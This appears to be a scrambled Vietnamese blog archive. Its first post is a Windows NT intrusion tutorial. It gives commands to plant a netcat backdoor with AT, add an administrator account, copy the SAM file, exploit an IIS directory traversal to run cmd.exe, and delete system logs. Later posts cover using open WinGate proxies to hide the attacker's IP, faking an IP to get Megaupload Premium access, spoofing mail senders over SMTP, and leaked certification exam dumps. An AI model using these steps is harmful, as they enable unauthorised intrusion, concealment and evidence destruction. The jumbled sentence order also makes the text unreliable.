sau đó khởi động máy lại là xong. các bạn nhớ đòi các tài liệu nầy vì nó rất cần cho việc sử dụng máy. Advanced có ảnh hưởng đến việc cấu hình máy. kiểm tra việc thay đổi của máy.0.

tiếp theo..…. đầu tiên…chúng ta cần biết thời gian của đối phương Net time \\127.0.1 12:3 nc.0.0.0.nó là một telnet server với port 99 đợi đến 12:3 là nó sế tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99.1\C$ ( hoặc là IPC$ ) Z là của mình…còn C$ là của Victim Phần 2 : AT thường thường thì khi độp nhập vào máy tính.vậy khi copy trojan lên máy rồi…làm thế nào dể khới động nó đây ? chúng ta phải dùng đến lệnh AT thủ xem….bạn nhất thiết phải login xong mới có thể sử dũng bây giờ chúng ta nói tiếp làm thế nào để tạo một user mới … chúng ta cộng thệm một user mới là heibai và password lovechina Net user heibai lovechina / add nếu bạn thành công.0....chúng ta cần tạo một homework ID = 1 AT \\127.thì có thể cộng user này vào nhom Adminstrator Net Localgroup Adminstrator heibai / add trong phần này tớ hướng dẫn tạo một ổ đỉa Ảo trên computer Net use z: \\127.exe và đã được copy lên máy victim rồi * giới thiệu chút it về NC…NC là từ viết tắc của NETCAT….thế là xong phần lưu bút phần 3 : Telnet .exe ở đây giả thiết là tui có con trojan la Nc.0..nhưng thao tác tiếp theo.chúng ta sẻ tặng quà lưu niệm cho victim trước khi rút lui.1 bây giờ thì nó sế phản hồi thời gian của victim…vd : 12:0 .

.nhưng thường thi phải có I D & PW.đây là một lệnh rất cần thiết khi xâm nhập máy tính…nó có thể kết nối vớ máy tính khắc từ xa. chúng ta copy files index trên ổ C của mình lên ổ C của 127.1\admin$\index.0.1 Copy Index..0. COMPUTERNAME=PENTIUMII ComSpec=D:\WINNT\system32\cmd.0.1 HTTP_ACCEPT=*/* HTTP_ACCEPT_LANGUAGE=zh-cn HTTP_CONNECTION=Keep-Alive HTTP_HOST= DAY LA SO IP CUA TUI.0.0.html \\127.0 (compatible. Windows 98.0. deflate HTTP_USER_AGENT=Mozilla/4.nếu không thì hack cho ai xem ? đã tới lúc dùng lệnh Set rồi sau đây là kết quả mà tớ tìm thấy……chúng ta phân tích nghe….NHUNG TUI DEL ROIHTTP_ACCEPT_ENCODING=gzip.0..0..html \\127.1\C$\index.nhưng nếu máy đã Ăn Đạn rồi thì bạn chỉ cần connected đến port 99 là ok Telnet 127.exe CONTENT_LENGTH=0 GATEWAY_INTERFACE=CGI/1.html nếu bạn copy lên folder winNt Copy index.nhưng bạn phải có kết nối IPC$ cái đã….0.1 99 thế là bồ đã kết nối đến port 99 và có thể thực hiện tất cả các lệnh… Phần 4 : Copy bây giờ chúng ta nói tiêp…làm thế nào để copy files trên máy mình lên máy victim và làm ngược lại….html muốn copy files trên máy victm thì bạn gõ vào : Copy \\127. MSIE 5.0.1\Admin$\repair\sam._c:\ phần 5 : Set nếu bạn muốn hack một website……tất nhiến là phải mở port 80. DigExt) .0.chủ yếu là muốn biêt homepage nó ở đâu thủ….

XX.XX..XXX./winnt/system32/cmd.nếu không thi Cracking luôn đi Nbtstat .NUMBER_OF_PROCESSORS=1 Os2LibPath=D:\WINNT\system32\os2\dll.1 SERVER_SOFTWARE=Microsoft-IIS/3..XX.EXE.0 SystemDrive=D: SystemRoot=D:\WINNT TZ=GMT-9 USERPROFILE=D:\WINNT\Profiles\Default User windir=D:\WINNT đây là cách rất ngu.XX REMOTE_HOST=XX. NetBIOS Remote Machine Name Table Name Type Status . phần 6 : Nbtstat nếu cậu Scan đuợc một máy sữ dụng Winnt…open port 135-139…thế thì bồ phải dùng lệnh này để biết thêm user thôi * tiện thể xin nói luôn. OS=Windows_NT Path=D:\WINNT\system32. GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=0303 PROMPT=$P$G QUERY_STRING=/c+set REMOTE_ADDR=XX.XX.A XXX.sau khi có user rồi bạn có thể đoán mò password..%2f..XXX sau đây là kết quả tớ scan được….XXX.XX.ở dâu? khi cậu Dir .exe SERVER_NAME=XX....đây là netbios….chắc chắn là sế View được rất nhiều files đấy`…...XX REQUEST_METHOD=GET SCRIPT_NAME=/scripts/...COM.CMD PATH_TRANSLATED=E:\vlroot DAY LA URL CUA HOMEPAGE 䀠 CHI CAN NHIN SAU DONG PATH_TRANSLATED= LA BIET NO O DAU 。O DAY LA E:\vlroot PROCESSOR_ARCHITECTURE=x86 PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3.XX.D:\WINNT PATHEXT=.nhưng chỉ có cách này mới 100% biết đuợc homepage tên gì.BAT..XX SERVER_PORT=80 SERVER_PORT_SECURE=0 SERVER_PROTOCOL=HTTP/1.

lệnh này khÿng có gì để nói hết.vì thế.chỉ dùng để view thôi ………….hi vọng các bạn suy nghỉ kỷ trước khi dùng lệnh này….——————————————— Registered Registered Registered Registered Registered Registered Registered Reg istered Registered Registered Registered MAC Address = 00-E0-29-14-35-BA PENTIUMII <00> UNIQUE PENTIUMII <20> UNIQUE ORAHOTOWN <00> GROUP ORAHOTOWN <1C> GROUP ORAHOTOWN <1B> UNIQUE PENTIUMII <03> UNIQUE INet~Services <1C> GROUP IS~PENTIUMII…<00> UNIQUE ORAHOTOWN <1E> GROUP ORAHOTOWN <1D> UNIQUE .__MSBROWSE__.khi chúng ta xâm nhập máy tình… trên hệ thống sế lưu lại thông tin của chúng ta..* C:\winnt\ssytem32\config\*.log .nên del nó đi…chư muốn bị tóm cổ hả ? sau đây là những files nhật kÿ của Winnt del del del del C:\winnt\system32\logfiles\*.* C:\winnt\system32\*.vì nó sế làm tổn thất rất nặng cho victim…hãy làm tay hacker có đạo đức phần 8 : Dir…... phần 9 : Del lệnh này giống như xoá nhật kÿ vậy đó….<01> GROUP kết quả cho biết User là PENTIUMIII phần 7 : Shutdown nhìn lệnh thôi cũng đủ biết rồi phải không ? đây là lệnh shutdown server Winnt Shutdown \\127..evt C:\winnt\system32\dtclog\*.1 t:20 20 giây sau…Winnt sế tự khời động lại…….0...0.

2. Port 23: Telnet Proxy Proxy sế chạy ngay sau khi bạn hoàn thành cài đặt và làm mọi thứ trở nên tồi tệ nếu không có mật mã sau khi cài đặt và không đòi hỏi bạn là người duy nhất.net WinGate> victim. Thí dụ: bạn có thể chia sẻ 1 modem với 2 máy.txt del C:\winnt\*. va nó liên quan gì tới server acttack? WinGate là một chương trình đơn giản cho phép bạn chia các kết nối ra. 6667 IRC Mapping .This once setup via GateKeeper has no password until you set one. Bạn telnet trên cổng 23 trên máy chủ chạy WinGate telnet proxy và bạn sế có dấu nhắc WinGate> Tại dấu nhắc này bạn đánh vào server.txt del C:\winnt\*. 1080 SOCKS Server . một khoảng trống và cổng bạn muốn kết nối vào. 3. Nhiều quản trị hệ thống không biết việc này và cũng khÿng nghĩ sế đặt mật mã cho nó và đây là nơi xuất hiện trục trặc..com 23 .> Mặc định sau khi cài đặt Khi bạn cài WinGate bình thường.This once setup via GateKeeper has no password until you set one.log chỉ cần del hết là coi như xong ngoài ra những lệnh trong ms dos còn rất nhiều….FTP………ATTRIB……mà ở đây tui khÿng thể kể ra hết đươc Wingate la gì.This is default and running right after install. Telnet proxy cũng thật sự đơn giản. Thí dụ: Quote telnet wingate. WinGate dùng với nhiều proxy khách nhau có thể che giấu bạn. khÿng thay đổi thông số gì thì sế có một số mặc định: Quote Port | Service 23 Telnet Proxy Server .net Connected to wingate.như lệnh ECHO ….del C:\winnt\system32\*.

Một cÿng ty cable modem lớn là Cox Cable. Đó là cách tìm IP WinGates tĩnh.94.94. Port 1080: SOCKS Proxy Socks proxy không được cài đặt mặc định nhưng ngay sau khi dùng GateKeeper sế cài đặt nó.com mà tại đó chúng ta biết sfba = San Fransico Bay Area hay cái gì gần như vậy.1.com). Nó khÿng được thiết lập để chạy sau khi cài đặt nhưng sau khi bạn cài sế khÿng cần password. Giả sử bạn có ppp IP của armory-us832.151.net) và vì vậy có thể giữ IP của mình bí mật.151.com. Bây giờ lấy IP đó và đưa nó vào domain scanner program. WinGate telnet proxy theo mặc định chạy trên cổng 23. Để tìm IP động (IP thay đổi mỗi lần user kết nối vào internet) của WinGates cũng khÿng khó chút nàol. 6. Thí dụ: Domscan có thể tìm thấy tại Rhino9 web site (rhino9.sfba. Việc cài đặt này khÿng cần password. The Cox Cable có IP trong khoảng 24. Bây giờ bạn dns IP đó và có 209. Port 6667: IRC Proxy IRC proxy cũng giống như khi chúng ta dùng wingate telnet proxy bounce tới irc server trừ khi irc proxy đã được thiết lập để đến một server.1. Bạn có thể dùng Port hay Domain scanners và scan Port 1080.abyss. 4. Thí dụ: 24. trừ khi bạn có đặt. bây giờ bạn đã có domscan.151. trừ khi bạn có đặt. Trang web của họ có thể tìm thấy ở www.1 chỉ đến c224084-a. 5. Hầu hết tất cả ISP lớn và nhỏ đều có user dùng WinGate.X.com vì vậy trên log của victim. Chạy domscan và có một box để đặt IP và port để scan. Vì vật đặt 209.94. tên gọi là SOCKS Proxy. Bạn cần phải biết định dạng của ISP’s dynamic ppp addresses hoặc bạn có thể dùng IRC (Internet Relay Chat).com. đây cũng là một cách đơn giản để tìm WinGate. Ok. Nếu bạn quen với socks bạn có thể biết nhiều việc có thể làm với nó. Tìm kiếm cable modems vì nhiều người dùng cable modems có WinGate để họ có thể chia sẻ đường truyền rộng của nó cable modems cho những máy khác trong nhà.4 .javanet. Làm thế nào để tìm và sử dụng WinGate? Tìm WinGates cũng rất dễ làm.frmt1.94. sau đó click vào start.home.home.X. Ta có được kết quả: 209.67.Thí dụ này cho thấy một ai đang dùng telnet vào WinGate server và sau đó từ WinGate server đó telnet tới victim.143.2 209.com sế hiện ra IP của wingate (wingate. Nếu bạn muốn tìm IP WinGates tĩnh (IP khÿng đổi) thì đến yahoo hay một trang tìm kiếm cable modem.143 vào trong box đầu tiên trong domscan và 23 trong box thứ 2.151.

megaupload.Vào email đẻ kick hoạt tài khoản. Chúng ta làm như vậy cho đến hết danh sách IP. đó là sử dụng tài khoản Premium trong Giờ vàng.0/toolbar. Nhưng những cách này tỏ ra không hiệu quả cho lắm.6 209.v. Việc mua tài khoản này đối với những ngưòi đã có việc làm là dễ dàng. Đã có nhiều cách để tải file tại megaupload với dung lượng lớn . học sinh.com Bước 1 : Đăng kí một tài khỏan free . fake Ip .151. nhưng đối với dân sinh viên.v.151.Sau khi tải xong. Thanh toolbar .151.v để tải file nhanh hơn .4.8 209. Bước 2 : Tải toolbar của megaupload . reset lại trình duyệt web.com/signup/ .Bạn đăng kí tại link : http://www..151.94.2. tiến hành cài đặt.com/toolbar2.megaupload.151.73 209. Bài viết chỉ mang tính chất tham khảo http://roseandgun. trang megaupload có một đợt khuyễn mãi.94.132 là WinGate lớn hơn 209.145 mb ) bạn có thể dùng chương trình hỗ trợ download như : Internet download manager. Nếu khÿng chúng ta làm tiếp địa chỉ kế tiếp có thể là 209.151.151. Cũng may trong thời gian này. Để làm vật ta intelnet tới 209.wordpress.118 209.2 trên cổng 23 và nếu nó hiện WinGate> khi chúng ta kết nối thì nó là WinGate. Khung giờ vàng đối với Việt Nam là từ 9h sáng đến 4h chiều.94. Thí dụ: Cơ hội 209.132 Bây giờ kiểm tra từng cái để tìm WinGate prompt. Ghi chú: Nếu chúng ta scan dynamic IP WinGates nếu số cuối cùng của IP càng lớn thì hy vọng nó là IP của WinGate càng lớn. Bài sẽ hướng dẫn một cách chi tiết cách đăng kí tài khoản Premium tại Megaupload.94. hoặc ai đó chưa đủ tiền để mua là một việc khá khó khăn.com. mà ít nguời biết.94.94.151.v.exe ( dung lượng 1.94.151.209. Flashget .151.10 209. nó đã là trang quá nổi tiếng về việc chia sẻ file với dung lượng lớn.94.94.Bạn tải toolbar tại link : http://www. tốc độ nhanh như rapidleech.94. dĩ nhiên để sử dụng tối đa bạn phải bỏ tiền mua tài khoản Premium.com/2008/04/25/cac-l%e1%bb%87nh-c %c6%a1-b%e1%ba%a3n-d%e1%bb%83-xam-nh%e1%ba%adp-may-tinh/ Được đăng bởi haodalat tại 11:48 SA 0 nhận xét Nhãn: Hacking Hướng dẫn tạo tài khoản Premium megaupload Trong giờ vàng ! Không phải giới thiệu nhiều về trang Megaupload.

bạn sẽ sử dụng đầy đủ chức năng như một tài khỏan Premium :mrgreen: Tài khỏan của bạn đã đầy đủ chức năng như một tài hoản Premium Tài khỏan của bạn đã đầy đủ chức năng như một tài hoản Premium Bước 5 : Download và thủ thuật. bạn có thể tìm proxy hoặc sock.com Trên trình duyệt sẽ xuất hiện chữ . bạn hãy kick vào đó. Và thấy không đăng kí được. Bước 4 : Tiến hành đăng kí tài khỏan Rremium .Bây giờ bạn hãy quay lại trang chủ và xem sự khác biệt với lúc đầu. . . Lấy link này gán vào trang Rapidleech ( trang rapidleech không cần đăng nhập tài khoản Premium).Bạn vào trang web http://megaupload. Leech file về host Chú ý : . Nếu chưa có bạn hãy tìm kiếm trên google.Bạn reset lại trình duyệt.Bạn hãy fake IP sang một nước khác.com/ và đăng nhập với tài khoản free đã tạo ở bước 1 . hoặc tự tạo trên host và homeserver ( mình sẽ viết bài trong thời gian sớm nhất có thể ). Trên trình duyệt sẽ xuất hiện chữ .Bạn chỉ có thể sử dụng tài khoản này khi bạn sử dụng toolbar và trong khoảng thời gian từ 9h đến 16h. thời gian sử dụng từ 1 tiếng đến 3 tiếng. US thì càng tốt.Bạn có thể dùng trang Rapidleech để tăng khả năng tải file từ megaupload. hoặc chọn xuống Properties copy đường link.Bây giờ bạn tiến hành download bình thường như một tài khỏan Premudium. Và đây là bước quan trọng nhất.Bạn hãy hoàn thành các bước trên thì bươc cuối cùng này mới hiệu lực . do đó hãy tận dụng khoảng thời gian này để download. nó sẽ hiện nút ” Click here to download ” + kick chuột phải vào Click here to download và chọn Copy Link. + Ấn vào link cần download bình thường. .Sau đó trang web đã hiện một thông báo tài khoản của bạn đã trở thành tài hoản Premium Thông báo của megaupload.com.Dĩ nhiên tài khoản này chỉ có trong thời gian từ 9h am đến 16h Việt Nam. mỗi lần bạn sử dụng trong một khoảng thời gian tối đa từ 1 tiếng đến 3 tiếng. hỗ trợ . khi đó bạn sẽ thấy dòng chữ ” Happy Hour Premium “.Tôi đã thử với IP Việt Nam . . prisock để fake IP trên google.của megaupload hiện lên trên trình duyệt web là bạn đã thành công bước 2. nên tổng hợp các link mega để download cùng lúc . Trên trình duyệt sẽ xuất hiện chữ Bước 3 : Fake Ip .

- Mong bạn góp ý thêm cho bài viết. - Nếu có khó khăn gì trong quá trình đăng kí tài khoản, fake ip, rapidleech. xin liên hệ tới nick : anhchimuonnoi_yeuem1987. Mình sẽ giúp đỡ bạn. Have Fun Nguồn : phamdoan87.com Được đăng bởi haodalat tại 11:47 SA 0 nhận xét Nhãn: MEGAUPLOAD

Tạo danh thiếp trực tuyến với DeyeY.com

Không ai có thể phủ nhận tầm quan trọng của tấm danh thiếp, nó đóng vai trò như một lý lịch trích ngang của bạn. Trong kinh doanh, trong công việc và trong giao tiếp hàng ngày, bạn sẽ cần nhiều đến những tấm danh thiếp. Để thiết kế và in cho mình những tấm danh thiếp thật đẹp, bạn có thể nhờ đến các dịch vụ chuyên làm danh thiếp. Nếu bạn muốn tự mình tạo ra những tấm danh thiếp, để thể hiện sự sáng tạo của bản thân nhưng đồng thời cũng không kém phần chuyên nghiệp, bạn có thể truy cập vào website www.deyey.com. Đây là một dịch vụ web miễn phí cho phép bạn tạo và lưu trữ những tấm danh thiếp đẹp mắt mà không phải thao tác gì nhiều cũng như đòi hỏi bạn phải thành thạo các chương trình đồ họa. - Để tự làm danh thiếp trên www.deyey.com, trước tiên bạn phải đăng kí cho mình một tài khoản bằng cách nhấn vào thẻ Sign Up/Sign In trên trang chủ. Mỗi người dùng được cấp 100MB để lưu trữ và chia sẻ danh thiếp của mình, của bạn bè và đối tác. - Quay lại trang chủ, nhấn nút Design Now để bắt đầu thiết kế tấm danh thiếp của bạn. Quá trình này chỉ qua bốn bước đơn giản, bạn chỉ việc chọn hoặc kéo thả: chọn ảnh nền, chèn Logo (Deyey.com cho phép bạn upload hình ảnh cá nhân hoặc Logo của công ty để đưa vào danh thiếp), thêm thông tin của bạn vào danh thiếp (Họ tên, tên công ty, địa chỉ, email, điện thoại, fax…), lưu lại và tải thành phẩm về máy. Danh thiếp do Deye.com tạo sẽ được xuất ra định dạng JPEG, bạn có thể tải về và dán lên website, blog. Nếu bạn có nhu cầu in ra thì nên chọn chất lượng và độ phân giải cao nhất (Large CMYK). - Lưu ý, để gõ tiếng Việt trong lúc tạo danh thiếp, bạn phải chọn bảng mã là Vietnam locale CP 1258 và sử dụng các font chữ hỗ trợ tốt tiếng Việt như Arial, Times New Roman, Verdana. - Cuối cùng, Mở máy in của bạn lên hoặc đem ra những dịch vụ in ấn. P.S: Mình không thèm tạo danh thiếp đâu vì chả biết phải ghi cái quái gì lên đó. Dương Vì Phát

LBVMVT số 250 clip_image004 clip_image006 1 Bắt đầu từ bài viết này, mỗi bài mới sẽ dành thêm một phần đất nhỏ để đăng tải những mẩu chuyện hoặc bức ảnh vui về IT để thay đổi không khí … Đây cũng là lời cảm ơn vì mọi người đã dành thời gian đọc qua bài viết … nhàm chán của mình. Tiêu đề của bức ảnh là: Your PassWord isn’t Long Enough .*** Penis is … *** :p Được đăng bởi haodalat tại 11:39 SA 0 nhận xét Nhãn: NameCard

26-04-2008
Mail & Relay

Bài viết sau mình diễn tả quá trình gửi mail đến được đích như thế nào. Để mail đến được đích sẽ thông qua 2 bước sau: B1 : Xác định một thứ gọi là MX Record của mail server đích ( nói cách khác là xác định dns name và IP của SMTP server của domain đích ) B2 : server nguồn kết nối với server đích trên port 25. Dùng SMTP command gửi thư. * Chi tiết thực hiện B1 : Xác định thông số MX record, IP và DNS name của server Run – cmd - Lệnh nslookup Set type=mx Yahoo.com ( gõ Tên domain đích ở đây ) Kết quả của 2 lệnh trên chúng ta sẽ xác định được MX record, IP và Name server của domain đích. B2 : chúng ta dùng command để gửi message đến server đích - Các Lệnh dưới đây phải gõ chính xác tên và khoảng trống. Nếu gõ sai thì không được nhấn nút lùi rồi gõ lại. Gõ lại nó sẽ không thực thi. Gõ sai nhấn enter để kết thúc lệnh, sau đó gõ lại đúng lệnh đó. Các lệnh sau là các lệnh telnet vì vậy phải mở chương trình telnet và port đi kèm để có thể thực hiện lệnh. Telnet Set localecho Open destIP 25 (thiết lập kết nối đến server đích)

220 ( return code ) : 220 là mã xác nhận rằng ta đã kết nối thành công ( Nếu mã trả về khác 220 nghĩa là thất bại -> gõ lại lệnh trên đến khi nào kết nối. Nếu thử nhiều lần mà thất bại có nghĩa là port 25 đã bị khóa) Helo têndomainđích 250 (giá trị trả về thành công : số khác là thất bại -> kết nối lại lệnh Helo này tiếp đến khi thành công) Mail from: 250 (code trả về) Rcpt to: vd : cuti@microsoft.com 250 Data (lệnh này có nghĩa là chúng ta nói với server đích rằng chúng ta bắt đầu gõ nội dung của thử bao gồm thư gửi cho ai, từ ai gửi đến, chủ đề thư và nội dung bức thư) 354 (code trả về) To : Tí (tí là tên người nhận thư) From : Tèo (tèo là người gửi thư) Subject : Thư của Teo gửi cho Ti Đây là nội dung bức thư : Vd : E khỏe không cu. Trời nóng quá ra hồ con Rùa bơi đi. . 250 (code trả về) - Chú ý : Giữa subject và nội dung bức thử phải có một dòng trống. Nếu viết liền thì nó sẽ hiểu đó là subject của bức thư chứ không thuộc về nội dung của bức thư. Dấu . cuối bức thư nói với server đích rằng : nội dung thư của tôi cần gửi đã kết thúc rồi. Không có sai xót gì thi hãy trả về cho tôi code 250 để báo cho tôi biết là thư gửi thành công. - Trong các dòng lệnh trên có những thông tin đi kèm không đòi hỏi phải chính xác 100%. Ví dụ : 1: Nội dung bức thư ta có thể chế biến 2: địa chỉ email người gửi là mình ->mình có thể bịa ra cái domain giả thế nào chả được vì mục đích ở đây ta đang nói việc gửi mail chứ không nhận mail -> thông tin trên không quan trọng. Đây là lí do tại sao mà mạng nội bộ hay ngồi ngoài phòng net ta có thể gửi cho địa chỉ mail yahoo, gmail của mình. Yahoo mail sẽ kiểm tra Ipwan của bức thư. Nếu IP này không nằm trong blacklist nó sẽ cho vào bulk (điều này là hiển nhiên – IP động mà lị). Còn nếu nằm trong bộ lọc của nó hoặc trong blacklist nó sẽ drop bức thư. - Với các bước trên là chúng ta có thể gửi thư được rồi. Nhưng không lẽ chúng ta bắt người dùng phải nhớ từng ấy thứ để gửi một bức thư. Cái họ cần là một công cụ tích hợp sẵn các lệnh trên, đi kèm là một giao diện sáng sủa và đẹp mắt để họ soạn thư và gửi dễ dàng chỉ bằng cách nhấn nút SEND. Công cụ đó chính là các trình duyệt mail (Outlookup Express, Microsoft Outlook …). Mình

s/d OE để minh họa. Bật OE : + Menu tool – account – tab mail – nút add – chọn mail Display name : Tên này chúng ta có thể bịa tùy ý ví dụ : Teo – next Hình ảnh này đã được thay đổi kích thước. Click vào đây để xem hình ảnh gốc với kích thước là 800x600 Email address : địa chỉ email của người gửi (như đã nói ở trên bạn muốn gõ gì cũng được) Vd: cuteo@tenmienbia.com – next Hình ảnh này đã được thay đổi kích thước. Click vào đây để xem hình ảnh gốc với kích thước là 800x600 Hộp thoại Email server name xuất hiện 2 thành phần Incoming mail và outgoing mail : 2 thành phần này có nghĩa gì ? Trong 1 server mail vậy lý sẽ tồn tại 2 server luận lý : 1/ Incoming Mail Server (POP3, IMAP4, HTTP server): - Nhiệm vụ là đối nộ : điều phối mail trong Lan. Các user khi mở trình duyệt mail thì trình duyệt mail này sẽ đi check mail trong incoming mail server . Nói cách khác là pop3 trục trặc bạn sẽ không check được mail. IMAP4, HTTP ít người dùng và Không được hỗ trợ bằng POP3 (s/d port 110 và 995) 2/ Outgoing Mail Server (SMTP ) - Nhiệm vụ là đối ngoại : Gửi và nhận mail với domain bên ngoài -> nếu SMTP (port:25) trục trặc thì bạn sẽ không thể nhận cũng như gửi thư ra domain bên ngoài Incoming mail :Ở đây chúng ta không quan tâm đến việc nhận mail nên gõ IP gì cũng được. Nếu ở đây bạn khai báo một số IP bịa nào đó thì khi bạn bật OE lên thì OE lập tức đi tìm POP3 server (tức là IP bạn khai ở phần Incoming mail) để check mail. Khi bật OE lên chú ý góc dưới bên trái có từ connect - nhấp vào nó chọn stop vì đây là con số IP bịa nên nó không có hiệu lực, nó connect một hồi báo không tìm thấy -> phải cancel thôi) Hình ảnh này đã được thay đổi kích thước. Click vào đây để xem hình ảnh gốc với kích thước là 800x600 Outgoing Mail : gõ địa chỉ IP của yahoo.com 66.218.71.63 (đang giả định gửi cho yahoo) Hình ảnh này đã được thay đổi kích thước. Click vào đây để xem hình ảnh gốc

với kích thước là 800x600 Để có IP của yahoo người dùng phải thực hiện như B1: phân giải để có IP, mx record, name server. -> Next Hộp thoại internet mail logon : Thông tin ở đây chính là thông tin cần check mail – next luôn – finish. Hình ảnh này đã được thay đổi kích thước. Click vào đây để xem hình ảnh gốc với kích thước là 800x600 - Nhấn nút create mail để gửi thư bằng giao diện đồ họa giống webmail. - Hình bên dưới mô tả 2 bước thực hiện gửi mail đến dest server. Gửi trực tiếp từ User và Mail browser đến dest Server không thông qua trung gian. Hình ảnh này đã được thay đổi kích thước. Click vào đây để xem hình ảnh gốc với kích thước là 1024x768 - User vẫn chưa vừa lòng với các bước hướng dẫn trên. Vì mỗi lần gửi đến 1 Dest Server khác thì User phải cấu hình lại 2 bước với IP khác trong Outgoing mail . Phức tạp quá. Họ muốn rằng chỉ phải nhớ 1 con số IP nào đó thôi (con số này phải cố định). Lúc này ta phải xậy dựng 1 chú SMTP server1 trung gian để mọi user gửi thư đến. Sau đó SMTP Server này sẽ chuyển thư của mọi user đến Dest server Quá trình mà Mail Browser gửi thư đến SMTP Server 1 và nhờ gửi đi đến Dest Server gọi là RELAY (hay Relay mail) Còn những server mà nhận và gửi mail dùm cho mọi user, dù user đó ở trong cùng domain hay ở ngoài domain, dù xa lạ hay quen biết thì Server đó được gọi là OPEN RELAY (có nghĩa là relay mọi thư gửi đến không cần biết đối tượng nhờ gửi là ai). Trạng thái Open Relay quá nguy hiểm. Vài năm trước đây có thể search ra được các server Open Relay. Còn hiện tại mọi mail server đều khóa tính năng này lại. Chỉ khi nào cần thử nghiệm vấn đề gì hoặc cho phép 1 số IP nhất định được phép relay qua server thì mới bật lên. Trên diễn đàn X_boy và NN có cho mượn account relay trong vài ngày để test và vọc mail server. Không thương mại. http://nhatnghe.com/forum/showthread.php?t=12556 Cấu hình relay trong OE : Các bước giống như ở trên. Riêng phần Outgoing mail ta gõ IP của SMTP Server1.. Finish. Hình ảnh này đã được thay đổi kích thước. Click vào đây để xem hình ảnh gốc

với kích thước là 800x600 Sau đó gửi mail ra yahoo. Hình ảnh này đã được thay đổi kích thước. Click vào đây để xem hình ảnh gốc với kích thước là 800x600 Bạn nhận thông báo lỗi : trong đám rừng đó có một từ khóa unable to relay for dangduya147@yahoo.com. Như đã nói ở trên mail server khóa chức năng open relay. Server mail đó nói rằng anh muốn relay mail qua tôi ư: ít ra anh phải chứng minh được anh có họ hàng bà con với tôi. Còn không ư : quên đi cưng. Nói cho dễ hiểu thì là như vầy: Bạn có cậu em tên Tèo. Lúc bé thì nó rất khờ, ai sai gì nó cũng làm. Bạn nhờ nó gửi dùm thư – OK gửi thì gửi. Anh hàng xóm thấy nó khờ quá nên lợi dụng sai nó làm đủ việc – Ok làm thì làm (Lúc này Cu Tèo đang ở tình trạng OPEN RELAY – ai sai nhờ gì nó cũng làm mà lị). Lớn lên nó bắt đầu khôn ra, anh hàng xóm nhờ nó làm – OK được thôi nhưng lúc này nó yêu cầu anh ta phải chứng minh rằng anh có quan hệ bà con với nó trước đã. Chứng mình bằng cách nào : nó bắt hàng xóm liệt kê ra một đống thông tin đại loại : anh phải sống chung nhà, phải có cùng họ …. Tất nhiên là anh ta kô thể chứng minh hoặc chứng minh không chính xác. Nó Drop cái yêu cầu của anh ngay lập tức. Đến phiên bạn nhờ nó. Nó giở chiêu cũ bắt bạn cung cấp thông tin ( đề phóng luôn với người nhà – quá chắc ăn. Tốt) -> thế là bạn khai với nó các thông tin + Khai báo thông tin họ hàng bà con với server trong OE: Menu tool – account – tab mail – chọn account – chọn properties – tab general :bắt đầu khai báo đây. 1/ Sửa lại email address giống domain server VD : của mình phải sửa lại là cuteo@dda147.com thay cho cuteo@tenmienbia.com (domain của mình là dda147.com) Hình ảnh này đã được thay đổi kích thước. Click vào đây để xem hình ảnh gốc với kích thước là 800x600 2/ Tab server : check vào My server require authentication Hình ảnh này đã được thay đổi kích thước. Click vào đây để xem hình ảnh gốc với kích thước là 800x600 – Chọn nút setting kế bên, khai báo tài khoản và pass tồn tại trong domain (tất nhiên ở chung nhà là phải có thông tin này).

Hình ảnh này đã được thay đổi kích thước. Click vào đây để xem hình ảnh gốc với kích thước là 800x600 Sau khi khai báo xong thông tin bạn quay lại OE bạn nhấn nút send all trong nút SendReceive . Thư đi ngon lành. Vậy là xong vụ relay qua SMTP server1. + Lúc này phát sinh thêm một tình huống mới. Một ngày đẹp trời các user thông báo với bạn rằng sao mail của tôi không thể gửi cho yahoo. Chỉ sau vài phút thử nghiệm bạn thấy đúng là không thể gửi mail cho yahoo. Gửi thử mail cho gmail, hotmail … Bật công cụ theo dõi mail lên thì thấy mail gửi đi ngọt sớt, không gặp bất kì trục trặc nào (công ty mới mua IP tĩnh chơi lease line cực kỳ hoành tráng mà lị). Gọi điện cho mấy thằng bạn hỏi thăm tình hình thì tụi nó báo không có trục trặc gì cả. Sao chỉ có một mình mình dính chưởng. Thế là lên mạng lục tung các diễn đàn mới phát hiện ra vụ IP blacklist. Kiểm tra thì IP đang nằm trong sổ đen của các tổ chức spam -> hèn gì thằng yahoo nó chặn mail lại (thằng yahoo này có trong tay danh sách IP balcklist). Liên hệ với tổ chức này thì họ remove IP. Thở phào nhẹ nhóm vì user thông báo là họ gửi được rồi. Qua vài ngày sau đến lượt gmail drop mail user của bạn. Lên NN hỏi thăm đủ người thì được TonyHien cho biết : IP của vietnam toàn cùi bắp -> dễ dàng bị lọt vào tổ chức chống spam. TonyHien khuyên nên relay mail qua một SMTP server2 có uy tín (tốt nhất là của nước ngoài) để nó chuyển đi dùm cho (tất nhiên là tốn phí cho nó tùy số lượng mail Relay hàng tháng). Với hình vẽ trên bạn đã cấu hình relay mail từ SMTP SERVER 1 (mail server công ty bạn) qua SMTP server 2 (nhờ nó relay mail dùm). Lúc này SMTP server 1 trở thành RELAYER (tức người chuyển tiếp relay mail). Còn SMTP server2 bây giời là SMART HOST (cung cấp tính năng relay mail cho những domain có nhu cầu). Khái niệm về Relay mail coi như giải quyết xong. http://www.nhatnghe.com/forum/showthread.php?t=18914 Được đăng bởi haodalat tại 9:26 CH 0 nhận xét Nhãn: co ban ve Mang may tinh, MCSA, NETWORK

Mail & Relay

Được đăng bởi haodalat tại 9:26 CH 0 nhận xét

23-04-2008
70-298 Materials To Score 1000
Passed 70-350 with 1000/1000, "ALHAMDULILLAH" Materials: I used ONLY Microsoft.TestKing.70-298.errata.by.sTf.vce U can download from here: http://www.ziddu.com/download.php?

uid=Zq...iYq6WlZWp2 Corrections: 1. South Bridge Video (9 questions). If you use Microsoft.TestKing.70298.errata.by.sTf.vce, the Q1 about audit strategy, you must choose the D (Audit Logon Event ), not A ( Audit Account Logon). The other Questions are correct http://www.certcollection.co.cc/forum/-offer-70-298-Materials-To-Score-1000t-734.html http://www.certcollection.co.cc/forum/My-MCSE-Journey-t-772.html Được đăng bởi haodalat tại 10:42 CH 0 nhận xét Nhãn: MCSA, Pass4Sure, Pre Exam

70-350 Materials To Score 1000

